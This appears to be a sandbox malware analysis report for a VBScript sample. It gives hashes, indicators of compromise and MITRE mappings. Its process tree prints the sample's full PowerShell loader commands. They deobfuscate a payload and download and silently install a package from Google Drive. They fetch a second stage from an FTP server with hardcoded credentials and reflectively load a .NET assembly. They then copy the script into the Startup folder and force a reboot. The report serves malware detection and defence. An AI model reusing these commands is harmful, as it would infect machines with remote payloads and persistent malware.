c50d459ee28fb9d7dfaa8067855e984f19828028f56aefe8187dcd622d9c2d09

General

Target

MalwareBazaar.vbs
Size

689KB
MD5

87f27580d805863d210331653ca944a7
SHA1

d861804f8fa941e95f8f779a295ffb0812ba2d4e
SHA256

c50d459ee28fb9d7dfaa8067855e984f19828028f56aefe8187dcd622d9c2d09
SHA512

eb895266a5774eefbc9ac6b30612a42a0d331fac221875fd9c59a67110880716ba7c7c890eb969f531dcfcff4a2c71cfdcab1c35116ec4d56de8cbf7e1a25d64
SSDEEP

1536:VPPPPPPPPPPPPPPPPPPPPPPPE777777777777777777777777777777777777772:uK

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MalwareBazaar.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MalwareBazaar.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1716	powershell.exe
1548	powershell.exe
2760	powershell.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setupact.log	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	wusa.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1716	powershell.exe
1548	powershell.exe
2276	powershell.exe
2760	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1716	powershell.exe
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	2760	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2928 wrote to memory of 1716	2928	WScript.exe	29
PID 2928 wrote to memory of 1716	2928	WScript.exe	29
PID 2928 wrote to memory of 1716	2928	WScript.exe	29
PID 1716 wrote to memory of 1548	1716	powershell.exe	31
PID 1716 wrote to memory of 1548	1716	powershell.exe	31
PID 1716 wrote to memory of 1548	1716	powershell.exe	31
PID 1548 wrote to memory of 2276	1548	powershell.exe	32
PID 1548 wrote to memory of 2276	1548	powershell.exe	32
PID 1548 wrote to memory of 2276	1548	powershell.exe	32
PID 2276 wrote to memory of 2420	2276	powershell.exe	33
PID 2276 wrote to memory of 2420	2276	powershell.exe	33
PID 2276 wrote to memory of 2420	2276	powershell.exe	33
PID 1548 wrote to memory of 2760	1548	powershell.exe	34
PID 1548 wrote to memory of 2760	1548	powershell.exe	34
PID 1548 wrote to memory of 2760	1548	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qCybe = 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= $qCybe.replace('せㅚし' , 'A') ;$bQOzu = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $ziISm ) ); $bQOzu = $bQOzu[-1..-$bQOzu.Length] -join '';$bQOzu = $bQOzu.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.vbs');powershell $bQOzu
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $RpGJb = $host.Version.Major.Equals(2) ;if ($RpGJb) {$pasta = [System.IO.Path]::GetTempPath();del ($pasta + '\Upwin.msu');$hSAHp = 'https://drive.google.com/uc?export=download&id=';$HTYfv = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ($HTYfv) {$hSAHp = ($hSAHp + '112AdPfI0PC7hbsci_5_0_eU7NwMZhf4x') ;}else {$hSAHp = ($hSAHp + '1brj5jqnqRxCD6VhfhAn2rcVfsRo7D8gr') ;};$fwSYp = (New-Object Net.WebClient);$fwSYp.Encoding = [System.Text.Encoding]::UTF8;$fwSYp.DownloadFile($URLKB, $pasta + '\Upwin.msu');$FoldStartup = ('C:\Users\' + [Environment]::UserName );$file = ($pasta + '\Upwin.msu'); powershell.exe wusa.exe $file /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.vbs' -Destination ( $FoldStartup + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$GAwZn;$CSaXQ = (New-Object Net.WebClient);$CSaXQ.Encoding = [System.Text.Encoding]::UTF8;$CSaXQ.Credentials = new-object System.Net.NetworkCredential('desckvbrat1','developerpro21578Jp@@');$GAwZn = $CSaXQ.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$CSaXQ.dispose();$CSaXQ = (New-Object Net.WebClient);$CSaXQ.Encoding = [System.Text.Encoding]::UTF8;$GAwZn = $CSaXQ.DownloadString( $GAwZn );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.vbs';[Byte[]] $xXzmx = [System.Convert]::FromBase64String( $GAwZn.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $xXzmx ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'elif/txt.uga/8gxxemc77jgem6g/muimerp_elif/moc.erifaidem.www//:sptth' , $hzwje , 'true1' ) );};"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe C:\Users\Admin\AppData\Local\Temp\\Upwin.msu /quiet /norestart
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2276
    - - C:\Windows\system32\wusa.exe
        
        "C:\Windows\system32\wusa.exe" C:\Users\Admin\AppData\Local\Temp\\Upwin.msu /quiet /norestart
        5⤵
        Drops file in Windows directory
        
        PID:2420
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c14b2dd2f1d2006a1843700ba2998a1a

SHA1
41ad27c32b3d507f60cdaa9dcf41d67d087e0565

SHA256
14bf44a59cbd3bb2e22354de02819c5f7ac2782871c94800559cae250eed76f0

SHA512
690686d1e0fb8b1e15c856ad05c732720c41d4264e276314428d383cf8ae13713fb22a20122ee7673ff2563584c6b73c699015e452b73b6a676c9dab161f76c5

Download Submit
memory/1716-4-0x000007FEF62AE000-0x000007FEF62AF000-memory.dmp

Filesize
4KB

Download
memory/1716-5-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/1716-6-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/1716-7-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/1716-8-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/1716-10-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/1716-9-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/1716-11-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/1716-29-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/1716-30-0x000007FEF62AE000-0x000007FEF62AF000-memory.dmp

Filesize
4KB

Download

Analysis

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